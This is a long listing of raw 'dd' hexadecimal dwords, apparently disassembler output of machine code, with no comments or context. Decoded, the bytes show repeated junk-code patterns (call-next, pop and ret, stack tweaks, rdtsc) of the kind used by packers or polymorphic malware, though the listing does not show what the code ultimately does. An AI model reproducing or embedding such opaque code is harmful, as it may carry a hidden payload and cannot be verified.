		dd 60D44CBDh, 6D85892Dh, 83061201h, 0E89005C0h,	9, 8D638F66h
		dd 352E37E9h, 12E9F4h, 0D010000h, 153E4D7Eh, 764FC208h
		dd 444F80BAh, 0B50B4DCDh, 0DE8505Fh, 88000000h,	6358150Eh
		dd 60FC4D24h, 0ED165585h, 8E8h,	6F4E1D00h, 46D51AF7h, 63BF6632h
		dd 905B5FFDh, 8166006Ah, 6AE62CDFh, 0AD95FF00h,	6A061204h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 80B3C352h, 1A8D8DFCh, 6A06159Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0B006C353h, 0D980D4ACh, 31BD89E6h, 0FF06120Ah, 50006AD1h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 5C1253E8h, 51DE3719h, 5BDEB70Fh, 1FE9BD83h, 0F010612h
		dd 4E85h, 898D8900h, 6A06122Bh,	53006A02h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 668CF4C4h
		dd 75FDB81h, 50D98B90h,	6E9h, 89F61E00h, 909D9B6Dh, 0FFDE8B66h
		dd 12162195h, 9D8B5206h, 61229F5h, 0E9D98A5Bh, 0E03h, 0E8h
		dd 0ED815D00h, 61640D4h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0BDC35545h, 0B5C5F186h, 6E92Bh, 6EC70000h
		dd 0B927F45Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	4CC35747h, 0F18529F8h, 8D06122Ch, 1595CA85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0B88E57E5h, 5671DB19h, 9D8918B3h, 612130Dh, 52506050h
		dd 310F6160h, 800Fh, 585A0000h,	61F08B66h, 64240489h, 35FFh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 8A90FC3h,	0FC1E2A6h, 8964D9B7h, 25h, 0C99D8B00h
		dd 29061223h, 120AC5BDh, 6D85FF06h, 8B061213h, 6AFF6AD8h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8BD2C352h, 9DB5FFD8h, 6A06121Ah, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0B25CC355h, 8D012EC1h, 6123245h, 35C995FFh, 4BE90612h
		dd 0F000001h, 8Dh, 0E800B000h, 7, 759392ABh, 0FC1AFA0h
		dd 68Dh, 0F1B58900h, 5B061230h,	8D8970E6h, 6121549h, 8D8971E4h
		dd 6123035h, 830F613Ch,	112h, 0B198D29h, 0B60F0612h, 0EF8166C8h
		dd 6BAC107h, 89000000h,	122195BDh, 0E8C18B06h, 14h, 0C3AAAA7Bh
		dd 0F3133EA3h, 0BD643B29h, 72737C47h, 0B0A35D17h, 85DBD89h
		dd 0C15B0612h, 0BD0304E8h, 6120F9Dh, 8BE2F766h,	0F9C82BDFh
		dd 0FAB7D18Bh, 0E9A2EB80h, 18h,	0AE9F560h, 14000000h, 470CEF66h
		dd 19261D5h, 0D3816154h, 0D0C95C4h, 11FD858Bh, 91BB0612h
		dd 83402CF1h, 0F7BF07C0h, 831E2157h, 14E800C0h,	75000000h
		dd 3E0AB094h, 3E2B8434h, 8948616Bh, 0C2992FDFh
		dd 605F65F6h, 12E19529h, 0B5890612h, 6121A2Dh, 0D03B5B61h
		dd 15830Fh, 9D8B0000h, 612052Dh, 51E9h,	5E900h,	2BC0000h
		dd 8BAE10C6h, 122B998Dh, 6870F06h, 8B000000h, 1220E19Dh
		dd 1E18306h, 2C840Fh, 95090000h, 6120AB9h, 2B99A583h, 89FE0612h
		dd 1211FD95h, 0DE806h, 0E3A40000h, 7F957C6h, 0A6B74A13h
		dd 0F5205067h, 0E95Fh, 0B58D0000h, 615D6C1h, 32458D31h
		dd 6A0612h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 17h,	9C35747h, 0E86EDE32h, 0Fh, 76F566CAh, 0A1144EE0h
		dd 73B2C684h, 8963F6E8h, 121BF9B5h, 95FF5B06h, 6122475h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 7C35242h
		dd 6C1B9h, 99BD8B00h, 81061209h, 40599BEBh, 0FCE18355h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 72C35242h
		dd 0D8210239h, 0E99D8BFEh, 0FC061233h, 0A9E78166h, 0B7C02BFAh
		dd 6AD22B84h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0DC94C351h, 245E66A5h,	33ADDE8Bh
		dd 3E8D1C2h, 4E983D0h, 8E9F475h, 0A3000000h, 0E71FD7EEh
		dd 8BBB9530h, 880DFBh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 84504BC3h, 8B0C4BC7h
		dd 120A6DBDh, 0CACF8106h, 8B3E245Eh, 12279195h,	2D9D8B06h
		dd 8B061230h, 1234398Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 6B7DBB91h, 8B664E9Eh
		dd 0C28B50F8h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 53D6C356h, 10E909C0h, 0D6000000h,	0D628CD61h
		dd 58E8B570h, 0A04B8B3Ch, 6A2F62A5h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 3DF6C356h
		dd 8333DA9Fh, 12042DBDh, 840F0006h, 2Ah, 0B8D98Ah, 29000000h
		dd 1201CD95h, 658D8D06h, 8B061250h, 121C999Dh, 68B0F06h
		dd 89000000h, 1205D9BDh, 66E1FF06h, 0BD83FA8Bh,	6122E5Dh
		dd 0C4840F00h, 6A000004h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0ABB0C351h,	13E8h
		dd 0B7639900h, 0DBC43B49h, 0FD985EF2h, 0A3C06D0Ch, 9796D125h
		dd 33A5B589h, 895F0612h, 1231158Dh, 5DBD8306h, 106122Eh
		dd 490840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 66E08BC3h, 83250BBFh, 122E5DBDh
		dd 860F0306h, 42Ch, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0D9C35646h, 0BB1A3B97h, 26EAA0B4h, 6049CF80h
		dd 0BB565CB3h, 1DBDF462h, 0D98C665Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 54C35545h, 66265235h, 999D3359h
		dd 80061215h, 6A04E1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 63A8FEC3h, 370EFAB4h, 0BD8B163Dh
		dd 6122391h, 840FC90Ah,	159h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0BCC35343h,	9BB94A35h, 0ED25A749h
		dd 0DB816630h, 858BB3ABh, 6121A89h, 33DFBF0Fh, 12143D85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0ABB545BBh, 8C9F1F3Fh, 9D03C221h, 6123555h
		dd 50525050h, 0F88B6652h, 5F51310Fh, 310F585Ah,	2 dup(310F5250h)
		dd 585A585Ah, 489585Ah,	0F98B6624h, 9D8B006Ah, 6121245h
		dd 3C88DC68h, 0DABABFF7h, 4814B6Fh, 0E27B2324h,	51006A08h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0B5318B54h, 6122FB1h, 325D95FFh, 6A0612h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 4FEA81C3h
		dd 8BCEA08Eh, 0E9FCF00Dh, 8, 5EE80BBAh,	7D99336h, 0BD7F8589h
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 7484DFC3h, 665657BDh, 1FFE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0EDA99ABAh, 8BCB986Ch, 122E8D9Dh, 9D895006h,	6120559h
		dd 77858B5Bh, 310615BDh, 1229E98Dh, 1800C706h, 60000000h
		dd 0E799501h, 31520612h, 122125BDh, 8B615A06h, 15BD7BB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 355184AAh, 0E417834Dh, 858B18CBh, 6122D49h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 2AC35141h
		dd 35B1B175h, 0C581BB2Dh, 6890003h, 1A89858Bh, 6A0612h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 91BB82C3h, 894BDFFDh, 6A0446h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0C7FDB5C3h, 50C8C66Ah
		dd 11E8h, 0E920C100h, 4DE0CB8Ch, 0F5350900h, 0FD754E03h
		dd 0BA60D707h, 55F111E9h, 34895B61h, 50006A24h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 2FFC0262h
		dd 77B5FFBCh, 0B0615BDh, 12079DBDh, 0E5F66806h,	0BF66794Bh
		dd 348184BEh, 54E60924h, 56006A79h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 8BF95FA1h, 1235219Dh
		dd 5E806h, 0CBE20000h, 60C1196Eh, 870Fh, 9D8B0000h, 6120461h
		dd 858D5B61h, 615BD7Fh,	985BD29h, 66900612h, 0E950FA8Bh
		dd 7, 56BB26Eh,	90AFE01Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 39C35545h, 3DE5A535h,	5D95FF4Ch, 6A061232h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 65FC356h,	66D25C5Dh, 661ABCBBh, 741D381h
		dd 52006A61h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0C7B8281Fh, 122E5D85h, 306h, 0A1850100h
		dd 83061214h, 15BD7FBDh, 840F0006h, 38h, 5599D0Bh, 9D8B0612h
		dd 6122F4Dh, 42E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 16F486C6h, 0BF07E62Eh
		dd 5F6FB523h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 8AC08B00h, 0D99D01D9h, 0B061215h, 1213259Dh,	5DBD8306h
		dd 306122Eh, 453850Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 6D8C0BC3h, 2EE7E781h
		dd 0BD8355DEh, 615BD7Fh, 22840F00h, 51000004h, 5CE78166h
		dd 0B5FF5BCFh, 615BD7Fh, 6810Fh, 9D890000h, 6120FA5h, 13B195FFh
		dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0E97C9AC3h, 0Fh, 7E5D08C6h
		dd 0D1FE6B1Dh, 0A46F25D9h, 8B76DB08h, 15BD73B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8BA23863h, 1221F99Dh, 106C706h, 66000100h, 82ECDF81h
		dd 0D810F50h, 0E9000000h, 8, 491A83FAh,	38450480h, 0E9243489h
		dd 0Bh,	14CF82Ah, 7EE82B4Eh, 0FFAC69E2h, 15BD7FB5h, 88C0F06h
		dd 51000000h, 13A1BD8Bh, 0FF5B0612h, 1210DD95h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0DC5F5EA3h, 0F333B286h, 0B58B38C9h, 615BD73h, 2369BD8Bh
		dd 858B0612h, 6122311h,	1860Fh,	89F80000h, 0C486h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 69185C83h, 0D619DDDAh, 0FABF0FF7h, 2791958Bh, 9D8B0612h
		dd 6120F81h, 6604C283h,	898FC3BBh, 6A2050h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 380C92C3h
		dd 0EB81CC05h, 234A92E3h, 0D32B858Dh, 6A0615h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0D7B8ECC3h, 3800F39h, 0F000000h, 0DB81D8B7h,	31EB7F73h
		dd 0B88689h, 8E90000h, 5D000000h, 984A8AC7h, 6A691649h
		dd 19BD3300h, 0FF06121Bh, 15BD7FB5h, 0FBB70F06h, 162195FFh
		dd 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0AE0214C3h, 4DC8DC49h, 66901AD8h,	4F02D781h
		dd 208D0Fh, 14E80000h, 6B000000h, 0CEE1D7D0h, 0AB657A3Ah
		dd 436DA10Fh, 0BFA7731Fh, 8BB03349h, 1235B9BDh,	0F965B06h
		dd 81h,	8E85000h, 85000000h, 0EED2396h,	60333C20h, 0CE9h
		dd 45A72900h, 1E485F9h,	9505B3B6h, 8F0F3Eh, 61000000h
		dd 0FFFC965Bh, 15BD7FB5h, 95FFF906h, 612033Dh, 6870Fh
		dd 9D8B0000h, 61220A5h,	24CDBD83h, 0F000612h, 5684h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0E93225AAh, 5, 0B00DCB17h, 11E896ADh, 5D000000h, 5720EFCAh
		dd 2C4032A3h, 319F3A35h, 0DF109D4Ah, 505FFA8Bh,	72AABB66h
		dd 49958996h, 0F061215h, 280h, 0FFF98B00h, 15BD7FB5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 8459307Bh, 8E8h, 0C745FD00h,	7F118962h, 7E91Ah, 6EAC0000h
		dd 905287B4h, 95FF5F8Dh, 6122AE9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 87C35343h, 3186A4DDh, 120B6DBDh
		dd 8880F06h, 0F000000h,	287h, 0FFD88B00h, 15BD7FB5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 62C63490h, 0F90C492h, 0B58943BCh, 61204FDh, 52995FFh
		dd 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 1C18B9C3h, 0BF5EF077h, 15C7BB9h, 1445BD83h
		dd 0F020612h, 5B84h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8D29CA19h, 61205C1h, 2A25858Bh
		dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0FEF30C3h, 680h, 18D8900h, 0C6061210h, 9D8B0000h
		dd 612125Dh, 303185C7h,	612h, 8B0F0000h, 0Dh, 8E9h, 7C9FCF00h
		dd 39789F6Bh, 0F2EFE928h, 8BF9FFFFh, 11BD29C1h,	8D06122Fh
		dd 12016985h, 50F98A06h, 14E9h,	99747000h, 0F4B48549h
		dd 66A873Ch, 6ECF2C72h,	69BAC995h, 24048954h, 0FD8A006Ah
		dd 68D0Fh, 9D230000h, 61202BDh,	858D006Ah, 61650AEh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FAC35646h, 0E9BD89ABh
		dd 8306120Ah, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 427E48C3h, 0DE9h, 84301000h, 0BE4B4927h
		dd 86400CDAh, 5090445Eh, 7CDE7CBBh, 6A9043h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0AC1B0CC3h
		dd 0EEBFD691h, 8B07D0BBh, 121B9D9Dh, 518D3106h,	6A061213h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 6AB5B336h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 43608AE5h
		dd 0FFDA15E0h, 1204AD95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0E9EBE039h
		dd 14h,	597E813Ah, 0B616AC8Ah, 4340EF6Ah, 0EA1BE80h, 51C0CB2Ch
		dd 9D1A8D8Dh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0AB8733C3h, 9D035AE1h, 6120A41h
		dd 6057D1FFh, 0BE05DB81h, 0BD8B4AD7h, 6120E69h,	0BD835B61h
		dd 6121FE9h, 44850F01h,	0F000000h, 2360DFBFh, 1221F995h
		dd 6A61F806h, 0BB90F802h, 0D6EE50Bh, 14E85250h,	31000000h
		dd 2BC6DFEAh, 0FA793320h, 0A47D4A11h, 95319026h, 5F91B382h
		dd 9D8B905Bh, 6122B11h,	162195FFh, 81660612h, 0E9C8CCD3h
		dd 0C38h, 0E8h,	0ED815D00h, 61650B8h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0C5C35343h,	14A87921h, 0CA858D6Bh
		dd 89061595h, 1202A18Dh, 4895006h, 619D8B24h, 0F06120Eh
		dd 888h, 2800F00h, 53000000h, 35FF645Fh, 0
		dd 3C59D01h, 0BF660612h, 8964D507h, 25h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 1507DB97h, 11CDC0F7h, 136D85FFh, 6A0612h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0DE8BF2C3h
		dd 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 160A18C3h, 0B51B3F4h, 12009D9Dh, 0EDB5FF06h
		dd 6A06121Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 94F2C355h, 0C17DBC7h, 0BE8F80Fh
		dd 13000000h, 23A279CBh, 5EF55E99h, 0D4BFD7B9h,	5B5A2B7Ah
		dd 2551BD0Bh, 95FF0612h, 61235C9h, 12FE9h, 0B0D88A00h
		dd 0B0B46000h, 6103E080h, 0F38170E6h, 57AB5304h, 0E3816660h
		dd 0E46103B9h, 3CDF8B71h, 9830F61h, 0F000001h, 0B60FDBB7h
		dd 0F88B66C8h, 6BAh, 8BD98B00h,	759D8BC1h, 0BB06122Dh
		dd 0CE54B89h, 0F04E8C1h, 850FFFB7h, 1Eh, 18850Fh, 13E90000h
		dd 32000000h, 537B966Dh, 17810597h, 0DA123962h,	2DDAD28h
		dd 0F766605Dh, 0A9BD8BE2h, 2B06121Bh, 5D9D8BC8h, 0B706121Ch
		dd 89D18BB5h, 122CE9B5h, 0E9DE8B06h, 5,	5F14D2BBh, 0A9858B27h
		dd 0F061233h, 687h, 49E38100h, 834A988Fh, 9CBF07C0h, 830515A8h
		dd 0BD8900C0h, 6122769h, 7820Fh, 8D0F0000h, 1, 0FD03BF8h
		dd 0F83h, 21BF6600h, 5AE9B7h, 0BD8B0000h, 6123505h, 1A018D8Bh
		dd 8B660612h, 1E183FBh,	42840Fh, 0DE8B0000h, 1A01A583h
		dd 0E9FE0612h, 13h, 9AD4FE24h, 29ACD3C3h, 2A32FDEEh, 0AD6136ACh
		dd 89F4259Ch, 1233A995h, 0BE906h, 61F60000h, 0D337F4EDh
		dd 0EB6F3260h, 85958976h, 0E9061204h, 0
		dd 0DF8FB58Dh, 6A0615h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 354D7FC3h, 32AD9D89h, 6A0612h, 51BD2360h
		dd 61061225h, 95FFCDB7h, 6122475h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 68C35343h, 0F7EB9h,	0D7816600h
		dd 0E183EEB0h, 6AFCF8FCh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0B8DAC357h,	0
		dd 0C800Fh, 0E9570000h,	5, 0A8EA7025h, 0D22B5BAFh, 0ADDFB70Fh
		dd 0E8D1C233h, 0E983D003h, 29F47504h, 123275B5h, 419D8B06h
		dd 0D061208h, 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 9CC35343h, 34DB56Fh, 8B36F526h, 12279195h
		dd 0D1BD8B06h, 8B061202h, 1234398Dh, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 9D038CA8h
		dd 6122C15h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 8B0F5818h, 4, 573FBF66h, 42DBD83h, 0F000612h, 9B84h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0DD3B30CDh, 0B8h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0F7FD7CEh
		dd 0BD8BFABFh, 612220Dh, 50658D8Dh, 6A0612h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0C7811BC3h
		dd 65C1B6CDh, 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 1ED412C3h, 25BC19D3h, 0DFBF0F54h
		dd 2E5DBD83h, 0F000612h, 3A184h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0C794DFBh
		dd 89240E29h, 122B31BDh, 0E99D8906h, 0F061211h,	283h, 835F5600h
		dd 122E5DBDh, 840F0106h, 379h, 11E99589h, 0BD030612h, 6123181h
		dd 2E5DBD83h, 0F030612h, 32A86h, 0B70F6000h, 0FD958BF1h
		dd 61061222h, 21C9BD8Bh, 2B600612h, 1232419Dh, 0D98C6606h
		dd 4BC38166h, 4E18029h,	7B1B509h, 0C90A0612h, 127840Fh
		dd 12E90000h, 1D000000h, 0BA075A08h, 0A4440887h, 590BB18Fh
		dd 0F529C55Dh, 15BD29CFh, 8B061212h, 121A8985h,	19D0306h
		dd 3306122Eh, 12143D85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 45BD8207h, 0FDFA1D87h
		dd 0DD8531A6h, 90061226h, 6650F98Bh, 902A5EBFh,	9999509h
		dd 6A0612h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 18h,	98C35343h, 33F5E5EDh, 33A58D09h, 9680612h, 5047F69Bh
		dd 0F525052h, 86h, 50310F00h, 5A310F52h, 0F585A58h, 0E107BB31h
		dd 585A21AAh, 0F6243481h, 8947E998h, 1226C9B5h,	5D95FF06h
		dd 6A061232h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 90DDC351h, 7FCCC44Eh, 83E8F6AFh
		dd 89FEB70Fh, 15BD7F85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 69056FECh, 7443D4ADh
		dd 0EF8166E2h, 69E98FE1h, 8B000001h, 1221A1BDh,	77858B06h
		dd 6A0615BDh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0E7D7C353h, 89BAE3F8h,	12233D9Dh
		dd 1800C706h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0FEDFC355h,	53BB66FDh
		dd 7BB58B87h, 2B0615BDh, 1211959Dh, 49858B06h, 6A06122Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 6D91C355h, 89F98B66h, 0B9666006h,	8B61C4D1h
		dd 121A8985h, 85036006h, 6121A09h, 69BD8B52h, 5B06120Ah
		dd 4468961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0DEC35343h, 9D50BA26h, 0F685232Eh, 24518589h, 0E9500612h
		dd 8, 967DDCCCh, 82C94D4Bh, 0F243489h, 0B5FFFFB7h, 615BD77h
		dd 17359D8Bh, 8B600612h, 1215518Dh, 258D8906h, 61061221h
		dd 826F5768h, 81FE8B7Fh, 6CA82434h, 0E8607F9Dh,	5, 7FDBEF8Bh
		dd 0D78166E4h, 8B5FF19Fh, 1207F59Dh, 858D6106h,	615BD7Fh
		dd 14E9h, 19ED4400h, 572F3DC6h,	260F9A18h, 7538DCD9h, 6FFBE447h
		dd 0F2BF905Ah, 50596C16h, 0DC30BF66h, 5870F90h,	0BB000000h
		dd 574442D2h, 5D95FFF8h, 0F9061232h, 57006A61h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0FB4D6C4h
		dd 0B3AFF110h, 5D85C750h, 306122Eh, 80000000h, 0BD83F0D3h
		dd 615BD7Fh, 30840F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 892AC355h
		dd 120339BDh, 61BD8B06h, 0E906122Eh, 1Eh, 5006B7FCh, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 0BD01C08Bh
		dd 61233A5h, 0F419501h,	0DA8B0612h, 2E5DBD83h, 0F030612h
		dd 3C185h, 68E0F00h, 89000000h,	1231819Dh, 7FBD8306h, 615BDh
		dd 3A8840Fh, 0BD8B0000h, 61200ADh, 0BD7FB5FFh, 7E90615h
		dd 65000000h, 49155953h, 95FF5969h, 61213B1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BEC35646h, 4BE0D912h
		dd 0BDBD8BA7h, 8B06122Eh, 15BD73B5h, 106C706h, 6A000100h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 219BC352h, 0A33F5F77h, 0FE93FDAh,	5000000h
		dd 8C175B06h, 0C72C8AD9h, 81CFBE3h, 0B350F9C3h,	24348978h
		dd 0B5FFF98Bh, 615BD7Fh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 0DC35141h, 79FE43D6h,	1DB5291Fh, 0FF06122Dh
		dd 1210DD95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 5B7CEF16h, 8EB447C5h, 0BD018EFFh
		dd 6123345h, 0E8D98B66h, 7, 0C33C57Fh, 89BA60CBh, 12343595h
		dd 0B58B5F06h, 615BD73h, 0C859589h, 858B0612h, 6122311h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 90C35343h
		dd 6B4CDA7Eh, 818A9E8Fh, 0DF687CDFh, 0C486890Eh, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 8D3EC355h, 25519D8Bh, 958B0612h, 6122791h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 65C35242h
		dd 90BD2F83h, 0BB90D06Eh, 2B04C283h, 1209999Dh,	20508906h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C0C35747h
		dd 5CD8DF1Ch, 8BDA8060h, 20D99529h, 8D610612h, 15D32B85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 5F77219Bh, 3FDAA33Fh, 8BDFB70Fh,	1211799Dh
		dd 0B8868906h, 0F9000000h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 5B6767C3h
		dd 8EAA7786h, 66EFC155h, 8960A4BBh, 122E318Dh, 7FB5FF06h
		dd 660615BDh, 466DCB81h, 162195FFh, 0BD8B0612h,	6120A1Dh
		dd 0D88B6696h, 0BD8B9650h, 61213CDh, 0BD7FB5FFh, 6A0615h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 557B2C3h, 0A0A5EE41h, 29E98D89h, 95FF0612h, 612033Dh
		dd 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0AFC35040h,	0BFA8F470h, 232D17DDh
		dd 24CDBD83h, 0F000612h, 2B84h,	7FBB5200h, 5F0F534Fh, 24348950h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 2C35141h
		dd 0B1E75626h, 0BD7FB5FFh, 860F0615h, 8, 8E0F53h, 5B000000h
